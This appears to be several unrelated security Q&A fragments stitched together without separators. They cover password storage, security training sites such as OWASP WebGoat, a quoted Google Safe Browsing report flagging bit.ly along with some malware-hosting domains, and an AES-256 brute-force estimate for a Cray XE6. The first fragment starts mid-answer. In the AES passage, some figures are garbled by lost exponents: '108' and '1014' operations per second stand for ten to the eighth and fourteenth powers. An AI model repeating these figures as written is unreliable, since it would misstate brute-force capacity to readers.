I'm sure there are more solutions, but storing passwords in a reversible format (eg: encrypted) is not a good practice. And storing passwords as clear-text is unforgivable.


What's a good tool or website to help learning about security? I recall reading once online about a website that had a name that sounded Japanese (Matsz... something) with security problems for programmers to do and learn about different security issues. Does anyone know what I'm talking about? I can't for the life of me remember the name, nor find if on google.

Sorry, i don't know the game you are actually looking for, but i recommend you OWASP Webgoat or OWASP Webgoat .Net if you like to train your programmers secure web-development.

If you like to earn points or kudos: security.se or search the net for "hackits"


bit.ly is not safe and an attack page? I click on a bit.ly link on a Youtube video and I was fronted with this.

I have used bit.ly before and I entered the url manually, but Firefox came up with this.

Any ideas?

TL;DR: Shortened links are not safe at all, and have never been.
https://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=bit.ly shows the following:

What is the current listing status for bit.ly?
Site is listed as suspicious - visiting this web site may harm your computer.
Part of this site was listed for suspicious activity 31 time(s) over the past 90 days.
What happened when Google visited this site?
Of the 91854 pages we tested on the site over the past 90 days, 669 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2014-10-24, and the last time suspicious content was found on this site was on 2014-10-24.
Malicious software includes 200 trojan(s), 185 exploit(s), 152 scripting exploit(s). Successful infection resulted in an average of 3 new process(es) on the target machine.
Malicious software is hosted on 365 domain(s), including hotclip.mobi/, likoj.net/, denotablin.com/.
353 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including trackcash.org/, javaistlus.com/, tracksite.us/.
This site was hosted on 4 network(s) including AS30060 (VERISIGN-ILG1), AS14618 (AMAZON-AES), AS15169 (GOOGLE).
Has this site acted as an intermediary resulting in further distribution of malware?
Over the past 90 days, bit.ly appeared to function as an intermediary for the infection of 37 site(s) including phimdata.com/, zing3g.net/, lauxanh.org/.
Has this site hosted malware?
No, this site has not hosted malicious software over the past 90 days.
How did this happen?
In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.


Number of AES-256 operations per second on a maximized Cray XE6 How many FLOPs does one AES-256 operation take in ECB mode? How many AES-256 operations in ECB mode can a maximized Cray XE6 perform per second?

Cray states that it can be scaled to over 1 million processor cores, but the brochure doesn't state how many, exactly. With 1 million processor cores, working at cabinet peak level of 12.2 to 20.2 teraflops per second, Cray XE6 can do 3.97 to 6.57 petaflops per second.

The cores in a Cray XE6 are AMD Opteron -- that's the kind of thing you find in a basic PC. You could expect that each core could compute one AES block in a bit more than 300 clock cycles; but if the cores know the AES-NI opcodes, then this can drop to 30 clock cycles per AES-256 instance. Assuming that the whole thing runs at 3 GHz, you can then hope for up to 108 AES-256 operations per second. With one million cores, that's 1014.

Note that:

A full CPU is something quite huge if you just need an AES implementation. In particular, the floating-point operations that Cray boasts about are totally useless for attacking the AES.
Most of the price of a Cray XE6 is about the interconnection of the CPU: bunches of helper bus and controllers, which are not used for AES cracking.
Even at 1014 operations per seconds, you would still need more time than the lifetime of the Universe to actually crack a key.

Buying a Cray XE6 to crack AES would be a huge waste of money.